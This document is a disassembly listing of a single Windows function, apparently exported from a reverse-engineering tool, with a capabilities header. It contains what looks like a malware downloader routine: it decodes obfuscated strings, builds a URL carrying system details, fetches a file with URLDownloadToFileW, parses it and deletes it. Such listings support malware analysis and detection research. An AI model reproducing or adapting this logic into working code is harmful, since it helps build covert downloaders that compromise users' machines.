Function at 0x409190
Capabilities:
Create thread
Delete file
Download url
Parse pe header
Receive data

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x572a19
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x180
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x3c], edi
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b45b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x50], eax
push str.d3RakOAcGlNVwCXFy4
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.0042ce30
test al, al
jne 0x409213
push 0x13
push str.d3RakOAcGlNVwCXFy4
lea ecx, [ebp - 0x50]
call fcn.0042d150
mov dword [ebp - 4], 1
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b465
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x98], eax
push str.M1loBdlA2mBgJWlIRwDOUjU3hGVU_GDQQ
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 2
call fcn.0042ce30
test al, al
jne 0x409263
push 0x22
push str.M1loBdlA2mBgJWlIRwDOUjU3hGVU_GDQQ
lea ecx, [ebp - 0x98]
call fcn.0042d150
mov byte [ebp - 4], 3
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b46f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x94], eax
push str.T3IzAaz8XPQQIgYFloIbLh5sUBCkU2Vhk
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 4
call fcn.0042ce30
test al, al
jne 0x4092b0
push 0x22
push str.T3IzAaz8XPQQIgYFloIbLh5sUBCkU2Vhk
lea ecx, [ebp - 0x94]
call fcn.0042d150
mov byte [ebp - 4], 5
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b479
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x9c], eax
push str.S1o2Vby0zJWgoUJP0QdWJCg
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 6
call fcn.0042ce30
test al, al
jne 0x4092fd
push 0x18
push str.S1o2Vby0zJWgoUJP0QdWJCg
lea ecx, [ebp - 0x9c]
call fcn.0042d150
mov byte [ebp - 4], 7
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b483
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x70], eax
push str.Zzc4wUQtWvSyU4AXlxshQlM
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 8
call fcn.0042ce30
test al, al
jne 0x409341
push 0x18
push str.Zzc4wUQtWvSyU4AXlxshQlM
lea ecx, [ebp - 0x70]
call fcn.0042d150
mov byte [ebp - 4], 9
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b48d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa8], eax
push str.aENR0aCQiDIhw8tKjwN
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0xa
call fcn.0042ce30
test al, al
jne 0x40938e
push 0x13
push str.aENR0aCQiDIhw8tKjwN
lea ecx, [ebp - 0xa8]
call fcn.0042d150
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x128]
push 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
push str.ZlpCgORY_hMFAJHPita9BzY
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
call fcn.0042b6f0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x188]
push 0x95
xorps xmm0, xmm0
mov dword [ebp - 0x178], 0
push str.ZFYzCcx90tUgMUjdAkIiRjlV1FQEktEUkfCdFwVKAjNBmOgowQXFFeJLREcDDTIRbSUEySH1ELSIkoDVAXQJ4URQzjQRoLbMloQQBToRMDhl6MEQAMDOUQsqEz9dWFwshHEUlGWOVUVDASQRUDhk
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x174], 0
call fcn.0042b6f0
mov byte [ebp - 4], 0xe
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b497
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa0], eax
mov byte [ebp - 4], 0x10
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4a1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0xa4], eax
mov byte [ebp - 4], 0x12
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4ab
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
mov byte [ebp - 4], 0x14
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4b5
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0xbc], eax
add eax, 0x10
mov dword [ebp - 0x190], eax
mov byte [ebp - 4], 0x16
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4bf
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
mov dword [ebp - 0xb8], eax
add eax, 0x10
mov dword [ebp - 0x18c], eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x170]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x160], 0
push str.WXVLMTz8UPZTc0qGQ
movups xmmword [ebp - 0x170], xmm0
mov dword [ebp - 0x15c], 0
call fcn.0042b6f0
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x170]
mov ecx, esp
push eax
call fcn.0042c650
lea ecx, [ebp - 0x44]
call fcn.004430f0
mov byte [ebp - 4], 0x19
push dword [eax]
lea eax, [ebp - 0xa0]
push dword [edi + 4]
push str._ws_ws
push eax
call fcn.0041f790
mov byte [ebp - 4], 0x18
add esp, 0x28
mov edx, dword [ebp - 0x44]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40953e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x148], 0
push str.MnpimTH4b4ETh71Pg
lea ecx, [ebp - 0x158]
mov dword [ebp - 0x144], 0
movups xmmword [ebp - 0x158], xmm0
call fcn.0042b6f0
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x140]
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x130], 0
push str.d0VieZjskdERIjHLA8D
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x12c], 0
call fcn.0042b6f0
push ecx
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x44], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5c1b14]
lea ecx, [ecx - 0x10]
call fcn.0042c560
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [edi], eax
call fcn.00443520
sub esp, 0x18
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x158]
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, edi
call fcn.004430f0
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x18]
call fcn.00446510
push dword [eax]
call fcn.0054e53f
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x28], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x409626
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push ecx
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x44], esp
push ecx
mov edi, esp
mov dword [ebp - 0x1c], edi
mov ecx, dword [0x5c1b14]
lea ecx, [ecx - 0x10]
call fcn.0042c560
mov ecx, dword [ebp - 0x44]
add eax, 0x10
mov dword [edi], eax
call fcn.00443520
sub esp, 0x18
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x140]
mov ecx, esp
push eax
call fcn.0042c650
mov ecx, edi
call fcn.004430f0
add esp, 0x18
mov byte [ebp - 4], 0x1b
mov edx, SysReAllocString
lea ecx, [ebp - 0x18]
call fcn.00446510
push dword [eax]
call fcn.0054e53f
mov edx, dword [ebp - 0x18]
add esp, 0xc
mov dword [ebp - 0x44], eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x4096a6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4c9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x6c], eax
push str.MG5n1VlgakEyZDeVEh5bQA0G7JkBASFCJfbHAJ5JXgETVP1YXgODdANHjggpAkAXaPkBRhACNZ5Clo
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x1e
call fcn.0042ce30
test al, al
jne 0x4096e6
push 0x4f
push str.MG5n1VlgakEyZDeVEh5bQA0G7JkBASFCJfbHAJ5JXgETVP1YXgODdANHjggpAkAXaPkBRhACNZ5Clo
lea ecx, [ebp - 0x6c]
call fcn.0042d150
mov byte [ebp - 4], 0x1f
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4d3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x68], eax
push str.TENWBTWovpNz44bKjJw
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x20
call fcn.0042ce30
test al, al
jne 0x40972a
push 0x13
push str.TENWBTWovpNz44bKjJw
lea ecx, [ebp - 0x68]
call fcn.0042d150
mov byte [ebp - 4], 0x21
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4dd
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x88], eax
push str.VjNslRHBfUDTci2RwUpWMw4
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x22
call fcn.0042ce30
test al, al
jne 0x409777
push 0x18
push str.VjNslRHBfUDTci2RwUpWMw4
lea ecx, [ebp - 0x88]
call fcn.0042d150
mov byte [ebp - 4], 0x23
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4e7
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x74], eax
push str.SnVN6VmwbuIjUr9FiUzgdw
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x24
call fcn.0042ce30
test al, al
jne 0x4097bb
push 0x18
push str.SnVN6VmwbuIjUr9FiUzgdw
lea ecx, [ebp - 0x74]
call fcn.0042d150
mov byte [ebp - 4], 0x25
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4f1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x84], eax
push str.WHhWvVH4dfODAHgDms
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 0x26
call fcn.0042ce30
test al, al
jne 0x409808
push 0x13
push str.WHhWvVH4dfODAHgDms
lea ecx, [ebp - 0x84]
call fcn.0042d150
cmp dword [ebx + 8], 0
mov byte [ebp - 4], 0x27
jne 0x4099ae
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x74]
add ecx, 0xfffffff0
mov dword [ebp - 0x18], edx
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x54]
mov dword [edi], eax
call fcn.00443520
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x28
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x4c], eax
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x58]
mov dword [edi], eax
call fcn.00443520
mov byte [ebp - 4], 0x29
mov eax, dword [eax]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x88]
mov dword [ebp - 0xac], eax
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x8c]
mov dword [edi], eax
call fcn.00443520
mov byte [ebp - 4], 0x2a
mov eax, dword [eax]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x68]
mov dword [ebp - 0x78], eax
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x5c]
mov dword [edi], eax
call fcn.00443520
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x2b
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ecx]
mov dword [ebp - 0x14], edi
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x80], eax
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0xb0]
mov dword [edi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x2c
push dword [ebp - 0x18]
push dword [ebp - 0x30]
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0xac]
push dword [ebp - 0x44]
push dword [ebp - 0x78]
push dword [ebp - 0x28]
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
push dword [eax]
lea eax, [ebp - 0xa4]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu
push eax
call fcn.0041f790
mov edx, dword [ebp - 0xb0]
or edi, 0xffffffff
add esp, 0x34
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40994e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x5c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409968
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x8c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409985
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x58]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40999f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x54]
add edx, 0xfffffff0
jmp 0x409beb
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b4fb
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.cjdVAOVRRCOksRwUmg
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x2d
call fcn.0042ce30
test al, al
jne 0x4099ee
push 0x13
push str.cjdVAOVRRCOksRwUmg
lea ecx, [ebp - 0x18]
call fcn.0042d150
push ecx
mov byte [ebp - 4], 0x2e
mov edi, esp
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x14], eax
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x1c]
mov dword [edi], eax
call fcn.00443520
add esp, 4
mov byte [ebp - 4], 0x2f
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
push ecx
mov edi, esp
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x5c], edi
mov ecx, dword [ebp - 0x74]
add ecx, 0xfffffff0
mov dword [ebp - 0x58], edx
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [edi], eax
call fcn.00443520
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x30
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ecx + 8]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x80], edi
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.00443520
mov byte [ebp - 4], 0x31
mov ecx, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edi
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x4c]
mov dword [edi], eax
call fcn.00443520
mov byte [ebp - 4], 0x32
mov ecx, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edi
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [edi], eax
call fcn.00443520
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x33
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ecx]
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xac], eax
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x30]
mov dword [edi], eax
call fcn.00443520
add esp, 4
push dword [ebx + 8]
mov byte [ebp - 4], 0x34
push dword [ebp - 0x54]
push dword [ebp - 0x58]
push dword [ebp - 0x8c]
push dword [ebp - 0x5c]
push dword [ebp - 0xb0]
push dword [ebp - 0x80]
push dword [ebp - 0x44]
push dword [ebp - 0x7c]
push dword [ebp - 0x28]
push dword [ebp - 0x78]
push dword [ebp - 0xac]
push dword [eax]
lea eax, [ebp - 0xa4]
push str._ws_ws_ws_d_ws_d_ws_ws_ws_llu_ws_d
push eax
call fcn.0041f790
mov edx, dword [ebp - 0x30]
or edi, 0xffffffff
add esp, 0x3c
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409b62
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409b7c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x4c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409b96
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409bb0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409bca
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409be4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x14]
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409bff
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0xa0]
push 0
push 0
push edi
push dword [ebp - 0xa4]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
push 0x5895a8
push edi
call fcn.0054e735
add esp, 8
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x40af94
mov edx, eax
lea ecx, [ebp - 0x24]
call fcn.00446940
mov byte [ebp - 4], 0x35
lea ecx, [esi - 0x10]
mov edi, dword [eax]
mov dword [ebp - 0x14], ecx
lea edx, [edi - 0x10]
cmp edx, ecx
je 0x409c9e
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x409c8f
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x409c8f
mov ecx, edx
call fcn.0042c560
or edi, 0xffffffff
mov dword [ebp - 0x1c], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x409c87
mov esi, dword [ebp - 0x14]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x1c]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x409ca1
push dword [edx + 4]
lea ecx, [ebp - 0x2c]
push edi
call fcn.0042d150
mov esi, dword [ebp - 0x2c]
or edi, 0xffffffff
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409cbb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, 0x58e7b4
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x409ce8
test dx, dx
je 0x409ce4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x409ce8
add eax, 4
add ecx, 4
test dx, dx
jne 0x409cc2
xor eax, eax
jmp 0x409ced
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x409e09
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x40]
call fcn.00446940
mov edx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x37
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
add eax, 0xfffffff0
mov ecx, dword [edx + 0x48]
sub ecx, 0x10
mov dword [ebp - 0x1c], ecx
cmp eax, ecx
je 0x409d7d
lea eax, [ecx + 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [eax]
shr eax, 0x1f
test al, al
jne 0x409d6e
mov eax, dword [ebp - 0x20]
mov eax, dword [eax - 0x10]
cmp eax, dword [ecx]
jne 0x409d6e
mov ecx, dword [ebp - 0x20]
lea ecx, [ecx - 0x10]
call fcn.0042c560
mov edx, dword [ebp - 0x14]
mov ecx, edi
mov dword [ebp - 0x24], eax
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x409d63
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [eax]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
add eax, 0x10
mov dword [ecx + 0x48], eax
jmp 0x409d7d
mov ecx, dword [ebp - 0x20]
push dword [ecx - 0xc]
push ecx
lea ecx, [edx + 0x48]
call fcn.0042d150
mov edx, dword [ebp - 0x40]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409d97
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x3c]
mov ecx, 0x58e7b4
mov eax, dword [edi + 0x48]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x409dc8
test dx, dx
je 0x409dc4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x409dc8
add eax, 4
add ecx, 4
test dx, dx
jne 0x409da2
xor eax, eax
jmp 0x409dcd
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x409dea
mov eax, edi
lea ecx, [edi + 0x48]
push 0
push 0x58e88c
mov byte [eax + 0x1a], 0
call fcn.0042d150
mov edi, dword [ebp - 0x50]
push dword [ebp - 0x4c]
call fcn.0054ea6f
add esp, 4
push dword [ebp - 0xa0]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x40b14c
mov ecx, 0x5895ac
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x409e36
test dx, dx
je 0x409e32
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x409e36
add eax, 4
add ecx, 4
test dx, dx
jne 0x409e10
xor eax, eax
jmp 0x409e3b
sbb eax, eax
or eax, 1
mov byte [ebp - 4], 0x27
test eax, eax
jne 0x40a694
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b505
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x58e88c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x3a
call fcn.0042ce30
test al, al
jne 0x409e87
push 0
push 0x58e88c
lea ecx, [ebp - 0x18]
call fcn.0042d150
mov byte [ebp - 4], 0x3b
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b50f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x28], eax
push 0x58e88c
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x3c
call fcn.0042ce30
test al, al
jne 0x409ecb
push 0
push 0x58e88c
lea ecx, [ebp - 0x28]
call fcn.0042d150
mov byte [ebp - 4], 0x3d
call fcn.0042cbc0
mov ecx, eax
test ecx, ecx
je 0x40b519
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push 0x58e88c
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 0x3e
call fcn.0042ce30
test al, al
jne 0x409f0f
push 0
push 0x58e88c
lea ecx, [ebp - 0x30]
call fcn.0042d150
push ecx
mov byte [ebp - 4], 0x3f
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x98]
lea ecx, [ecx - 0x10]
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x24]
mov dword [edi], eax
call fcn.00443520
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x40
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.0042c560
add eax, 0x10
lea ecx, [ebp - 0x1c]
mov dword [edi], eax
call fcn.00443520
add esp, 4
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x41
mov edx, dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.00454430
mov edx, dword [ebp - 0x1c]
or edi, 0xffffffff
add esp, 0xc
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409f93
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409fad
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x30]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409fc7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409fe1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x27
mov eax, edi
mov edx, dword [ebp - 0x18]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x409fff
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 0x18
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
call fcn.00547e47
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x42
push dword [ebp - 0x4c]
call fcn.0054e757
add esp, 4
test eax, eax
jne 0x40a590
nop
mov edx, dword [ebp - 0x4c]
lea ecx, [ebp - 0x24]
call fcn.00446940
mov byte [ebp - 4], 0x43
lea ecx, [esi - 0x10]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], ecx
lea edx, [eax - 0x10]
cmp edx, ecx
je 0x40a0b0
mov eax, dword [ecx + 0xc]
lea esi, [ecx + 0xc]
shr eax, 0x1f
test al, al
jne 0x40a09f
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x40a09f
mov ecx, edx
call fcn.0042c560
mov dword [ebp - 0x1c], eax
mov ecx, edi
lock xadd dword [esi], ecx
dec ecx
test ecx, ecx
jg 0x40a097
mov esi, dword [ebp - 0x14]
push esi
mov ecx, dword [esi]
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [ebp - 0x1c]
lea esi, [eax + 0x10]
mov dword [ebp - 0x2c], esi
jmp 0x40a0b0
push dword [edx + 4]
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x1c]
